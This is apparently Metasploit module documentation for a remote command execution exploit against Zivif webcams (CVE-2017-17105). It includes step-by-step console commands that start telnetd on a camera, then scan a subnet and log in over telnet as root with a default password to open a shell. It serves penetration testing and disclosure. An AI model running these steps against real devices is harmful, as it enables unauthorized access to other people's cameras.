## Description


  This module exploits a remote command execution vulnerability in Zivif webcams.  This is known to impact versions prior to and including v2.3.4.2103.  Exploit was reported in CVE-2017-17105.  

  This module has been tested successfully on version v2.3.4.2103 and V4.7.4.2121.

## Vulnerable Application

  Unfortunately a virtual copy of this camera is not available.  


## Verification Steps

  1. Start `msfconsole`
  2. Do: `use exploit/unix/http/zivif_ipcheck_exec`
  3. Do: `set rhost [IP]`
  4. Do: `set PAYLOAD payload/cmd/unix/generic`
  5. Do: `set CMD telnetd`
  6. Do: `exploit`
  7. Port 23 will now be open on the target


## Scenarios


  ```
  msf > use exploit/unix/http/zivif_ipcheck_exec
  msf exploit(unix/http/zivif_ipcheck_exec) > set rhost 192.168.0.35
  rhost => 192.168.0.35
  msf exploit(unix/http/zivif_ipcheck_exec) > set PAYLOAD payload/cmd/unix/generic
  PAYLOAD => cmd/unix/generic
  msf exploit(unix/http/zivif_ipcheck_exec) > set CMD telenetd
  CMD => telenetd
  msf exploit(unix/http/zivif_ipcheck_exec) > exploit 

  [*] Sending request
  [+] Command sent successfully
  [*] Exploit completed, but no session was created.
  msf exploit(unix/http/zivif_ipcheck_exec) > 
  msf exploit(unix/http/zivif_ipcheck_exec) > back
  msf > use auxiliary/scanner/telnet/telnet_login
  msf auxiliary(scanner/telnet/telnet_login) > set RHOSTS 192.168.0.0/24
  RHOSTS => 192.168.0.0/24
  msf auxiliary(scanner/telnet/telnet_login) > set USERPASS_FILE /root/creds
  USERPASS_FILE => /root/creds
  msf auxiliary(scanner/telnet/telnet_login) > set threads 10
  threads => 10
  msf auxiliary(scanner/telnet/telnet_login) > exploit 

  [!] 192.168.0.34:23          - No active DB -- Credential data will not be saved!
  [+] 192.168.0.34:23          - 192.168.0.34:23 - Login Successful: root:cat1029
  [*] 192.168.0.34:23          - Attempting to start session 192.168.0.34:23 with root:cat1029
  [*] Command shell session 1 opened (0.0.0.0:0 -> 192.168.0.34:23) at 2020-06-15 19:47:14 +0000

  [-] 192.168.0.34:23          - 192.168.0.34:23 - LOGIN FAILED: admin:cat1029 (Incorrect: )
  [*] 192.168.0.34:23          - Scanned 1 of 1 hosts (100% complete)
  [*] Auxiliary module execution completed
  msf auxiliary(scanner/telnet/telnet_login) > 
  msf auxiliary(scanner/telnet/telnet_login) > sessions 

  Active sessions
  ===============

    Id  Name  Type   Information                         Connection
    --  ----  ----   -----------                         ----------
    1         shell  TELNET root:cat1029 (192.168.0.34:23)  0.0.0.0:0 -> 192.168.0.34:23 (192.168.0.34)

  msf auxiliary(scanner/telnet/telnet_login) > 


  ```



